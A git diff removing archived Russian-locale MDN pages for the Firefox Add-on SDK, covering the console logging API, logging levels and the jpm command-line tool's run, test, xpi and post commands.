-<p><strong>Bookmark|Group|Separator</strong> : For the <code>save</code> function, this is the saved, latest snapshot of the bookmark item. For <code>search</code>, this is a snapshot of a bookmark returned from the search query.</p>
-
-<p><strong>Bookmark|Group|Separator|object</strong> : Only in <code>save</code> data events. The initial instance of the item that was used for the save request.</p>
-
-<h4 class="addon-sdk-api-name" id="error"><code>error</code></h4>
-
-<p>The <code>error</code> event is emitted whenever a bookmark item's save could not be completed.</p>
-
-<h5 id="Arguments_2">Arguments</h5>
-
-<p><strong>string</strong> : A string indicating the error that occurred.</p>
-
-<p><strong>Bookmark|Group|Separator|object</strong> : Only in <code>save</code> error events. The initial instance of the item that was used for the save request.</p>
-
-<h4 class="addon-sdk-api-name" id="end"><code>end</code></h4>
-
-<p>The <code>end</code> event is called when all bookmark items and dependencies have been saved, or an aggregate of all items returned from a search query.</p>
-
-<h5 id="Arguments_3">Arguments</h5>
-
-<p><strong>array</strong> : The array is an ordered list of the input bookmark items, replaced with their updated, latest snapshot instances (the first argument in the <code>data</code> handler), or in the case of an error, the initial instance of the item that was used for the save request (the second argument in the <code>data</code> or <code>error</code> handler).</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tools/console/index.html b/files/ru/mozilla/add-ons/sdk/tools/console/index.html
deleted file mode 100644
index d28b31d127..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tools/console/index.html
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: console
-slug: Mozilla/Add-ons/SDK/Tools/console
-translation_of: Archive/Add-ons/Add-on_SDK/Tools/console
----
-<p><span class="seoSummary">Enables your add-on to log error, warning or informational messages.</span> If you have started Firefox for your add-on from the command line with <code>cfx run</code> or <code>cfx test</code> then these messages appear in the command shell you used. If the add-on has been installed in Firefox, then the messages appear in the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>.</p>
-<p>If you're developing your add-on using the <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/">Extension Auto-installer</a>, then the add-on is installed in Firefox, meaning that messages will appear in the Browser Console. But see the discussion of <a href="/en-US/Add-ons/SDK/Tools/console#Logging_Levels">logging levels</a>: by default, messages logged using <code>log()</code>, <code>info()</code>, <code>trace()</code>, or <code>warn()</code> won't be logged in these situations.</p>
-<h2 id="Console_Methods">Console Methods</h2>
-<p>All console methods except <code>exception()</code> and <code>trace()</code> accept one or more JavaScript objects as arguments and log them to the console. Depending on the console's underlying implementation and user interface, you may be able to examine the properties of non-primitive objects that are logged.</p>
-<h3 id="console.debug(object_object_...)"><code>console.debug(<em>object</em>[, <em>object</em>, ...])</code></h3>
-<p>Logs the arguments to the console, preceded by "debug:" and the name of your add-on:</p>
-<pre class="brush: js">console.debug("This is a debug message");</pre>
-<pre>debug: my-addon: This is a debug message
-</pre>
-<h3 id="console.error(object_object_...)"><code>console.error(<em>object</em>[, <em>object</em>, ...])</code></h3>
-<p>Logs the arguments to the console, preceded by "error:" and the name of your add-on:<code> </code></p>
-<pre class="brush: js">console.error("This is an error message");</pre>
-<pre>error: my-addon: This is an error message
-</pre>
-<h3 id="console.exception(exception)"><code>console.exception(<em>exception</em>)</code></h3>
-<p>Logs the given exception instance as an error, outputting information about the exception's stack traceback if one is available.</p>
-<pre class="brush: js">try {
- doThing();
-} catch (e) {
- console.exception(e);
-}
-
-function UserException(message) {
- this.message = message;
- this.name = "UserException";
-}
-
-function doThing() {
- throw new UserException("Thing could not be done!");
-}</pre>
-<pre>error: my-addon: An exception occurred.
-UserException: Thing could not be done!
-</pre>
-<h3 id="console.info(object_object_...)"><code>console.info(<em>object</em>[, <em>object</em>, ...])</code></h3>
-<p>A synonym for <code>console.log()</code>.</p>
-<h3 id="console.log(object_object_...)"><code>console.log(<em>object</em>[, <em>object</em>, ...])</code></h3>
-<p>Logs the arguments to the console, preceded by "info:" and the name of your add-on:</p>
-<pre class="brush: js">console.log("This is an informational message");</pre>
-<pre>info: my-addon: This is an informational message
-</pre>
-<h3 id="console.time(name)"><code>console.time(name)</code></h3>
-<p>Starts a timer with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.</p>
-<h3 id="console.timeEnd(name)"><code>console.timeEnd(name)</code></h3>
-<p>Stops the specified timer and logs the elapsed time in seconds since its start. See <a href="https://developer.mozilla.org/en-US/docs/Web/API/console#Timers">Timers</a>.</p>
-<h3 id="console.trace()"><code>console.trace()</code></h3>
-<p>Logs a stack trace at the point the function is called.</p>
-<h3 id="console.warn(object_object_...)"><code>console.warn(<em>object</em>[, <em>object</em>, ...])</code></h3>
-<p>Logs the arguments to the console, preceded by "warn:" and the name of your add-on:<code> </code></p>
-<pre class="brush: js"><code>console.warn("This is a warning message");</code></pre>
-<pre>warn: my-addon: This is a warning message
-</pre>
-<h2 id="Logging_Levels">Logging Levels</h2>
-<p>Logging's useful, of course, especially during development. But the more logging there is, the more noise you see in the console output. Especially when debug logging shows up in a production environment, the noise can make it harder, not easier, to debug issues.</p>
-<p>This is the problem that logging levels are designed to fix. The console defines a number of logging levels, from "more verbose" to "less verbose", and a number of different logging functions that correspond to these levels, which are arranged in order of "severity" from informational messages, through warnings, to errors.</p>
-<p>At a given logging level, only calls to the corresponding functions and functions with a higher severity will have any effect.</p>
-<p>For example, if the logging level is set to "info", then calls to <code>info()</code>, <code>log()</code>, <code>warn()</code>, and <code>error()</code> will all result in output being written. But if the logging level is "warn" then only calls to <code>warn()</code> and <code>error()</code> have any effect, and calls to <code>info()</code> and <code>log()</code> are simply discarded.</p>
-<p>This means that the same code can be more verbose in a development environment than in a production environment - you just need to arrange for the appropriate logging level to be set.</p>
-<p>The complete set of logging levels is given in the table below, along with the set of functions that will result in output at each level:</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Level</th>
- <th>Will log calls to:</th>
- </tr>
- <tr>
- <td>all</td>
- <td>Any console method</td>
- </tr>
- <tr>
- <td>debug</td>
- <td><code>debug(), error(), exception(), info(), log(), time(), timeEnd(), trace(), warn()</code></td>
- </tr>
- <tr>
- <td>info</td>
- <td><code>error(), exception(), info(), log(), time(), timeEnd(), trace(), warn()</code></td>
- </tr>
- <tr>
- <td>warn</td>
- <td><code>error(), exception(), warn()</code></td>
- </tr>
- <tr>
- <td>error</td>
- <td><code>error(), exception()</code></td>
- </tr>
- <tr>
- <td>off</td>
- <td>Nothing</td>
- </tr>
- </tbody>
-</table>
-<h3 id="Setting_the_Logging_Level">Setting the Logging Level</h3>
-<p>The logging level defaults to "error".</p>
-<p>There are two system preferences that can be used to override this default:</p>
-<ul>
- <li>
- <p><strong>extensions.sdk.console.logLevel</strong>: if set, this determines the logging level for all installed SDK-based add-ons.</p>
- </li>
- <li>
- <p><strong>extensions.</strong><em>extensionID</em><strong>.sdk.console.logLevel</strong>, where <em>extensionID</em> is an add-on's <a href="/en-US/Add-ons/SDK/Guides/Program_ID">Program ID</a>. If set, this determines the logging level for the specified add-on. This overrides the global preference if both preferences are set.</p>
- </li>
-</ul>
-<p>Both these preferences can be set programmatically using the <a href="/en-US/Add-ons/SDK/Low-Level_APIs/preferences_service"><code>preferences/service</code></a> API, or manually using <a href="http://kb.mozillazine.org/About:config">about:config</a>. The value for each preference is the desired logging level, given as a string.</p>
-<p>When you run your add-on using <code>cfx run</code> or <code>cfx test</code>, the global <strong>extensions.sdk.console.logLevel</strong> preference is automatically set to "info". This means that calls to <code>console.log()</code> will appear in the console output.</p>
-<p>When you install an add-on into Firefox, the logging level will be "error" by default (that is, unless you have set one of the two preferences). This means that messages written using <code>debug()</code>, <code>log()</code>, <code>info()</code>, <code>trace()</code>, and <code>warn()</code> will not appear in the console.</p>
-<p>This includes add-ons being developed using the <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/">Extension Auto-installer</a>.</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tools/index.html b/files/ru/mozilla/add-ons/sdk/tools/index.html
deleted file mode 100644
index b55c672f17..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tools/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: Tools
-slug: Mozilla/Add-ons/SDK/Tools
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Add-on_SDK/Tools
----
-<p>Articles listed here provide a reference for the SDK's tools:</p>
-<p>{{ LandingPageListSubpages ("/en-US/Add-ons/SDK/Tools", 5) }}</p>
diff --git a/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html b/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html
deleted file mode 100644
index dbfacde500..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html
+++ /dev/null
@@ -1,497 +0,0 @@
----
-title: jpm
-slug: Mozilla/Add-ons/SDK/Tools/jpm
-translation_of: Archive/Add-ons/Add-on_SDK/Tools/jpm
----
-<div class="note">
-<p>Вы можете использовать <code>jpm</code> для Firefox 38 или более поздних версий.</p>
-
-<p>Данный материал относится только для jpm.</p>
-</div>
-
-<p><span class="seoSummary">Это Node-ориентированная замена устаревшего <a href="/en-US/Add-ons/SDK/Tools/cfx">cfx</a>. Позволяет тестировать, запускать и создавать дополнения для Firefox.</span></p>
-
-<p>Смотри также <a href="/en-US/Add-ons/SDK/Tutorials/Getting_Started_%28jpm%29">jpm tutorial</a>.</p>
-
-<p>jpm вызывается через:</p>
-
-<pre class="brush: bash">jpm [command] [options]
-</pre>
-
-<p>jpm поддерживает следующие глобальные опции:</p>
-
-<pre class="brush: bash">-h, --help - show a help message and exit
--V, --version - print the jpm version number
-</pre>
-
-<h2 id="Установка">Установка</h2>
-
-<p>jpm распространяется с помощью менеджера пакетов <a class="external external-icon" href="https://www.npmjs.org/package/jpm">npm</a>, поэтому чтобы установить jpm, вам необходимо предварительно установить менеджер пакетов npm, если вы этого ещё не сделали. npm входит в Node.js, поэтому чтобы установить npm - посетите <a class="external external-icon" href="http://nodejs.org/">nodejs.org</a> и нажмите кнопку INSTALL.</p>
-
-<p>После этого вы можете установить jpm, как и любой другой npm пакет:</p>
-
-<pre>npm install jpm -g</pre>
-
-<p>В зависимости от настроек и операционной системы, вам может потребоваться запустить его с правами администратора (Linux: Debian, Ubuntu, и т.п.):</p>
-
-<pre class="brush: bash">sudo npm install jpm -g</pre>
-
-<p>После установки введите в командной строке:</p>
-
-<pre class="brush: bash">jpm</pre>
-
-<p>Вы должны увидеть краткое описание доступных команд. Обратите внимание, что в отличие от cfx, jpm доступно из любой запущенной командной строки, в случае, если при установке jpm использовался флаг -g.</p>
-
-<h3 id="Проблемы">Проблемы?</h3>
-
-<p>Если у вас возникли проблемы, то обратитесь за помощью. Пользователи SDK и участники проекта готовы обсудить и предложения в <a class="external external-icon" href="http://groups.google.com/group/mozilla-labs-jetpack/topics">project mailing list</a>. Попробуйте поискать там, возможно похожий вопрос уже обсуждался там. Вы также можете обратиться к пользователям SDK в <a class="external external-icon" href="http://mibbit.com/?channel=%23jetpack&amp;server=irc.mozilla.org">#jetpack</a> на <a class="external external-icon" href="http://irc.mozilla.org/">Mozilla's IRC network</a>.</p>
-
-<h2 id="Справочник_команд">Справочник команд</h2>
-
-<p>В jpm доступно шесть команд:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td style="width: 20%;"><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_init"><code>jpm init</code></a></td>
- <td>Создать каркас дополнения в качестве отправной точки для создания вашего дополнения.</td>
- </tr>
- <tr>
- <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_run"><code>jpm run</code></a></td>
- <td>Запустить копию Firefox с установленным дополнением.</td>
- </tr>
- <tr>
- <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_test"><code>jpm test</code></a></td>
- <td>Запуск тестирования модуля вашего дополнения.</td>
- </tr>
- <tr>
- <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_xpi"><code>jpm xpi</code></a></td>
- <td>Упаковать дополнение в <a href="https://developer.mozilla.org/en/XPI">XPI</a> пакет, формат файла установки для дополнений Firefox.</td>
- </tr>
- <tr>
- <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_post"><code>jpm post</code></a></td>
- <td>Упаковать дополнение в пакет <a href="https://developer.mozilla.org/en/XPI">XPI</a> и отправить на URL.</td>
- </tr>
- <tr>
- <td><a href="/en-US/Add-ons/SDK/Tools/jpm#jpm_watchpost"><code>jpm watchpost</code></a></td>
- <td>Упаковывать дополнение в пакет <a href="https://developer.mozilla.org/en/XPI">XPI</a> и отправлять на URL при каждом изменении файла.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="jpm_init">jpm init</h3>
-
-<p>Данная команда инициализирует новое дополнение, с нуля.</p>
-
-<p>Для этого создайте новый каталог, перейдите в него и запустите <code>jpm init</code>.</p>
-
-<pre class="brush: bash">mkdir my-addon
-cd my-addon
-jpm init</pre>
-
-<p>Вам будет предложено указать некоторую информацию о вашем дополнении: данная информация будет использована для создания файла настроек дополнения <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json">package.json</a>.</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#title">title</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#name">name</a>: По умолчанию это имя каталога, в котором была запущена команда jpm init. За исключнием случаев, когда  заполненно поле <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#id"><code>id</code></a>  в файле package.json, тогда jpm добавит указатель "@" перед именем и использует в качестве него  значение  поля <a href="https://developer.mozilla.org/en-US/Add-ons/Install_Manifests#id"><code>id</code> field in the add-on's install manifest</a>.</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#version">version</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#description">description</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#main">entry point</a> (which maps to "main" in package.json)</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#author">author</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#engines">engines</a> (supported applications)</li>
- <li><a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tools/package_json#license">license</a></li>
-</ul>
-
-<p>Большинство из этих полей имеют значения по умолчанию, который указан в скобках после вопроса. Если вы просто нажмите Enter, то в настройках будет указано значение по умолчанию.</p>
-
-<p>После того как вы укажете значения или выберите значение по умолчанию для этих свойств, вам будет показано полное содержание "package.json" и предложено принять его.</p>
-
-<p>После jpm создаст каркас дополнения в качестве отправной точки для разрабатываемого вами дополнения, со следующей структурой файлов:</p>
-
-<ul class="directory-tree">
- <li>my-addon
- <ul>
- <li>index.js</li>
- <li>package.json</li>
- <li>test
- <ul>
- <li>test-index.js</li>
- </ul>
- </li>
- </ul>
- </li>
-</ul>
-
-<h3 id="jpm_run">jpm run</h3>
-
-<p>Эта команда запускает новый экземпляр Firefox с подключенным дополнением:</p>
-
-<pre class="brush: bash">jpm run</pre>
-
-<p><code>jpm run</code> принимает следующие значения:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td style="width: 30%;"><code>-b --binary BINARY</code></td>
- <td>
- <p>Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.</p>
-
- <pre class="brush: bash">
-jpm run -b /path/to/Firefox/Nightly</pre>
- See <a href="/en-US/Add-ons/SDK/Tools/jpm#Selecting_a_browser_version">Selecting a browser version</a>.</td>
- </tr>
- <tr>
- <td><code>--binary-args CMDARGS</code></td>
- <td>
- <p>Pass <a href="/en-US/docs/Mozilla/Command_Line_Options">extra arguments</a> to Firefox.</p>
-
- <p>For example, to pass the <code>-jsconsole</code> argument to Firefox, which will launch the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>, try the following:</p>
-
- <pre class="brush: bash">
-jpm run --binary-args -jsconsole</pre>
-
- <p>To pass multiple arguments, or arguments containing spaces, quote them:</p>
-
- <pre class="brush: bash">
-jpm run --binary-args '-url mzl.la -jsconsole'</pre>
- </td>
- </tr>
- <tr>
- <td><code>--debug</code></td>
- <td>Run the <a href="/en-US/Add-ons/Add-on_Debugger">add-on debugger</a> attached to the add-on.</td>
- </tr>
- <tr>
- <td><code>-o --overload PATH</code></td>
- <td>
- <p>Rather than use the SDK modules built into Firefox, use the modules found at PATH. If <code>-o</code> is specified and PATH is omitted, jpm will look for the JETPACK_ROOT environment variable and use its value as the path.</p>
-
- <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Overloading_the_built-in_modules">Overloading the built-in modules</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td><code>-p --profile=<code> PROFILE</code></code></td>
- <td>
- <p>By default, jpm uses a clean temporary Firefox <a href="http://support.mozilla.com/en-US/kb/profiles">profile</a> each time you call jpm run. Use the <code>--profile</code> option to instruct jpm to launch Firefox with an existing profile.</p>
-
- <p>The PROFILE value may be a profile name or the path to the profile.</p>
-
- <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Using_profiles">Using profiles</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td><code>-v --verbose</code></td>
- <td>Verbose operation.</td>
- </tr>
- <tr>
- <td><code>--no-copy</code></td>
- <td>
- <div class="warning">Use with caution because <code>jpm run|test</code> changes many preferences, never use with your main profile.</div>
-
- <div class="note">This only applies when <code>--profile</code> is used.</div>
- Disables the copying of the profile used, which allows one to reuse a profile.</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="jpm_test">jpm test</h3>
-
-<p>Команда запускает тестирование дополнения. Происходит следующее:</p>
-
-<ul>
- <li>Обзор каталога с именем "test" в корневом каталоге дополнения</li>
- <li>Открывается каждый файл, имя которого начинается с "test-" в этом каталоге (обратите внимание на дефис после слова "test" в имени jpm файла - в тест будет включён файл вида "test-myCode.js", но исключены файлы вида "test_myCode.js" или "testMyCode.js"</li>
- <li>Вызываются все функции, извлечённые из файла, имя которого начинается с "test"</li>
-</ul>
-
-<pre class="brush: bash">jpm test
-</pre>
-
-<p>See the <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Unit_testing">tutorial on unit testing</a> and the <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/test_assert">reference documentation for the <code>assert</code> module</a> for more details on this.</p>
-
-<p><code>jpm test</code> accepts the following options:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><code>-b --binary BINARY</code></td>
- <td>
- <p>Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.</p>
-
- <pre class="brush: bash">
-jpm test -b /path/to/Firefox/Nightly</pre>
-
- <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Selecting_a_browser_version">Selecting a browser version</a>.</p>
- </td>
- </tr>
- <tr>
- <td><code>--binary-args CMDARGS</code></td>
- <td>
- <p>Pass <a href="http://kb.mozillazine.org/Command_line_arguments">extra arguments</a> to Firefox.</p>
-
- <p>For example, to pass the <code>-jsconsole</code> argument to Firefox, which will launch the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>, try the following:</p>
-
- <pre class="brush: bash">
-jpm test --binary-args -jsconsole</pre>
-
- <p>To pass multiple arguments, or arguments containing spaces, quote them:</p>
-
- <pre class="brush: bash">
-jpm test --binary-args '-url mzl.la -jsconsole'</pre>
- </td>
- </tr>
- <tr>
- <td><code>--debug</code></td>
- <td>Run the <a href="/en-US/Add-ons/Add-on_Debugger">add-on debugger</a> attached to the add-on.</td>
- </tr>
- <tr>
- <td style="width: 30%;"><code>-f --filter FILE[:TEST]</code></td>
- <td>
- <p>Only run tests whose filenames match FILE and optionally match TEST, both regexps.</p>
-
- <pre class="brush: bash">
-jpm test --filter base64:btoa</pre>
-
- <p>The above command only runs tests in files whose names contain "base64", and in those files only runs tests whose names contain "btoa".</p>
- </td>
- </tr>
- <tr>
- <td style="width: 30%;"><code>-o --overload PATH</code></td>
- <td>
- <p>Rather than use the SDK modules built into Firefox, use the modules found at PATH. If <code>-o</code> is specified and PATH is omitted, jpm will look for the JETPACK_ROOT environment variable and use its value as the path.</p>
-
- <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Overloading_the_built-in_modules">Overloading the built-in modules</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td style="width: 30%;"><code>-p --profile<code> PROFILE</code></code></td>
- <td>
- <p>By default, jpm uses a clean temporary Firefox <a href="http://support.mozilla.com/en-US/kb/profiles">profile</a> each time you call jpm run. Use the <code>--profile</code> option to instruct jpm to launch Firefox with an existing profile.</p>
-
- <p>The PROFILE value may be a profile name or the path to the profile.</p>
-
- <p>See <a href="/en-US/Add-ons/SDK/Tools/jpm#Using_profiles">Using profiles</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td><code>--stop-on-error</code></td>
- <td>
- <p>By default jpm test keeps running tests even after tests fail. Specify <code>--stop-on-error</code> to stop running tests after the first failure:</p>
-
- <pre class="brush: bash">
-jpm test --stop-on-error</pre>
- </td>
- </tr>
- <tr>
- <td><code>--tbpl</code></td>
- <td>Print test output in <a href="https://treeherder.mozilla.org/">Treeherder</a> format</td>
- </tr>
- <tr>
- <td><code>--times NUMBER</code></td>
- <td>
- <p>Run tests NUMBER of times:</p>
-
- <pre class="brush: bash">
-jpm test --times 2</pre>
- </td>
- </tr>
- <tr>
- <td><code>-v --verbose</code></td>
- <td>Verbose operation.</td>
- </tr>
- <tr>
- <td><code>--no-copy</code></td>
- <td>
- <div class="warning">Use with caution because <code>jpm run|test</code> changes many preferences, never use with your main profile.</div>
-
- <div class="note">This only applies when <code>--profile</code> is used.</div>
- Disables the copying of the profile used, which allows one to reuse a profile.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="jpm_xpi">jpm xpi</h3>
-
-<p>Эта команда собирает дополнение в пакет XPI. Это формат дополнений, которые можно легко установить Mozilla.</p>
-
-<pre class="brush: bash">jpm xpi</pre>
-
-<p>It looks for a file called <code>package.json</code> in the current directory and creates the corresponding XPI file. It ignores any ZIPs or XPIs in the add-on's root, and any test files.</p>
-
-<p>Once you have built an XPI file you can distribute your add-on by submitting it to <a href="http://addons.mozilla.org">addons.mozilla.org</a>.</p>
-
-<p><code>jpm xpi</code> accepts the following option:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><code>-v --verbose</code></td>
- <td>
- <p>Verbose operation:</p>
-
- <pre class="brush: bash">
-jpm xpi -v</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="jpm_post">jpm post</h3>
-
-<p>This command packages the add-on as an <a href="https://developer.mozilla.org/en/XPI">XPI</a> file, the posts it to some url.</p>
-
-<pre class="brush: bash">jpm post</pre>
-
-<p>It looks for a file called <code>package.json</code> in the current directory and creates a XPI file with which to post to the <code>--post-url</code>.</p>
-
-<p><code>jpm post</code> accepts the following options:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><code>--post-url URL</code></td>
- <td>
- <p>The url to post the extension to after creating a XPI.</p>
-
- <pre class="brush: bash">
-jpm post --post-url http://localhost:8888/</pre>
-
- <p>See <a href="https://www.npmjs.com/package/jpm#using-post-and-watchpost">Using Post and Watchpost</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td><code>-v --verbose</code></td>
- <td>
- <p>Verbose operation:</p>
-
- <pre class="brush: bash">
-jpm post --post-url http://localhost:8888/ -v</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="jpm_watchpost">jpm watchpost</h3>
-
-<p>This command packages the add-on as an <a href="https://developer.mozilla.org/en/XPI">XPI</a> file, the posts it to some url whenever a file in the current working directory changes.</p>
-
-<pre class="brush: bash">jpm watchpost</pre>
-
-<p>Creates a XPI whenever a file in the current working directory changes and posts that to the <code>--post-url</code>.</p>
-
-<p><code>jpm watchpost</code> accepts the following options:</p>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <td><code>--post-url URL</code></td>
- <td>
- <p>The url to post the extension to after creating a XPI.</p>
-
- <pre class="brush: bash">
-jpm watchpost --post-url http://localhost:8888/</pre>
-
- <p>See <a href="https://www.npmjs.com/package/jpm#using-post-and-watchpost">Using Post and Watchpost</a> for more information.</p>
- </td>
- </tr>
- <tr>
- <td><code>-v --verbose</code></td>
- <td>
- <p>Verbose operation:</p>
-
- <pre class="brush: bash">
-jpm watchpost --post-url http://localhost:8888/ -v</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Techniques">Techniques</h2>
-
-<h3 id="Selecting_a_browser_version">Selecting a browser version</h3>
-
-<p>By default, <code>jpm run</code> and <code>jpm test</code> will run the release version of Firefox. You can instruct jpm to use a different version in one of two ways:</p>
-
-<ul>
- <li>
- <p>you can use the <code>-b</code> or <code>--binary</code> option to instruct jpm to run a different version of Firefox. You can supply a path to a specific binary:</p>
-
- <pre class="brush: bash">jpm run -b /path/to/Firefox/Nightly</pre>
-
- <p>As a shorthand for this, you can pass "nightly", "aurora", "beta", or "firefox" and jpm will look in the default location for these Firefox versions:</p>
-
- <pre class="brush: bash">jpm run -b nightly</pre>
- </li>
- <li>
- <p>you can set the <code>JPM_FIREFOX_BINARY</code> environment variable with the path to the version of Firefox you want to run. When you invoke <code>jpm run</code> or <code>jpm test</code> without the <code>-b</code> option, jpm will first check  <code>JPM_FIREFOX_BINARY</code>, and use this as the path if it is set.</p>
- </li>
-</ul>
-
-<h3 id="Using_.jpmignore_to_ignore_files">Using <code>.jpmignore</code> to ignore files</h3>
-
-<p>Using <code>.jpmignore</code> is similar to using <code>.gitignore</code> with <code>git</code>, <code>.hgignore</code> with Mercurial, or <code>.npmignore</code> with <code>npm</code>. By using this file you can let <code>jpm</code> know which files you would like it to ignore when building a <code>.xpi</code> file with <code>jpm xpi</code>.</p>
-
-<p>Here is an example:</p>
-
-<pre class="brush: bash"># Ignore .DS_Store files created by mac
-.DS_Store
-
-# Ignore any zip or xpi files
-*.zip
-*.xpi
-</pre>
-
-<p>A <code>.jpmignore</code> file with the above contents would ignore all zip files and <code>.DS_Store</code> files from the xpi generated by <code>jpm xpi</code>.</p>
-
-<h3 id="Using_profiles_2"><a name="Using_profiles">Using profiles</a></h3>
-
-<p>By default, <code>jpm run</code> uses a new profile each time it is executed. This means that any profile-specific data entered from one run of <code>jpm</code> will not, by default, be available in the next run.</p>
-
-<p>This includes, for example, any extra add-ons you installed, or your history, or any data stored using the <a href="/en-US/Add-ons/SDK/High-Level_APIs/simple-storage">simple-storage</a> API.</p>
-
-<p>To make <code>jpm</code> use a specific profile, pass the <code>--profile</code> option, specifying the name of the profile you wish to use, or the path to the profile.</p>
-
-<pre class="brush: bash">jpm run --profile boogaloo
-</pre>
-
-<pre class="brush: bash">jpm run --profile path/to/boogaloo</pre>
-
-<p>If you supply <code>--profile</code> but its argument is not the name of or path to an existing profile, jpm will open the <a href="https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles">profile manager</a>,  enabling you to select and existing profile or create a new one:</p>
-
-<pre class="brush: bash">jpm run --profile i-dont-exist</pre>
-
-<h3 id="Developing_without_browser_restarts">Developing without browser restarts</h3>
-
-<p>Because <code>jpm run</code> restarts the browser each time you invoke it, it can be a little cumbersome if you are making very frequent changes to an add-on. An alternative development model is to use the <a href="https://addons.mozilla.org/en-US/firefox/addon/autoinstaller/" rel="noreferrer">Extension Auto-Installer</a> add-on: this listens for new XPI files on a specified port and installs them automatically. That way you can test new changes without needing to restart the browser:</p>
-
-<ul>
- <li>make a change to your add-on</li>
- <li>run <code>jpm post --post-url http://localhost:8888/</code>, to make a xpi and post it.</li>
-</ul>
-
-<p>You could even automate this workflow with a simple script. For example:</p>
-
-<pre class="brush: bash">jpm watchpost --post-url http://localhost:8888/
-</pre>
-
-<p>Note that the logging level defined for the console is different when you use this method, compared to the logging level used when an add-on is run using <code>jpm run</code>. This means that if you want to see output from <a href="/en-US/Add-ons/SDK/Tutorials/Logging" rel="noreferrer"><code>console.log()</code></a> messages, you'll have to tweak a setting. See the documentation on <a href="/en-US/Add-ons/SDK/Tools/console#Logging_Levels" rel="noreferrer">logging levels</a> for the details on this.</p>
-
-<h3 id="Overloading_the_built-in_modules">Overloading the built-in modules</h3>
-
-<p>The SDK modules you use to implement your add-on are built into Firefox. When you run or package an add-on using <code>jpm run</code> or <code>jpm xpi</code>, the add-on will use the versions of the modules in the version of Firefox that hosts it.</p>
-
-<p>As an add-on developer, this is usually what you want. But if you're developing the SDK modules themselves, of course, it isn't. In this case you need to:</p>
-
-<ul>
- <li>get a local copy of the SDK modules that you want: this usually means checking out the SDK from its <a href="https://github.com/mozilla/addon-sdk" rel="noreferrer">GitHub repo</a></li>
- <li>set the <code>JETPACK_ROOT</code> environment variable to your local copy</li>
- <li>pass the <code>-o</code> option to <code>jpm run</code> or <code>jpm xpi</code>:</li>
-</ul>
-
-<pre>jpm run -o
-</pre>
-
-<p>This instructs jpm to use the local copies of the SDK modules, not the ones in Firefox. If you don't want to set the <code>JETPACK_ROOT</code> environment variable, you can pass the location of your copy of the SDK modules along with <code>-o</code>:</p>
-
-<pre>jpm run -o "/path/to/SDK/"</pre>
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html
deleted file mode 100644
index d9453e9767..0000000000
--- a/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Создание простого Add-on (jpm)
-slug: Mozilla/Add-ons/SDK/Tutorials/Getting_Started_(jpm)
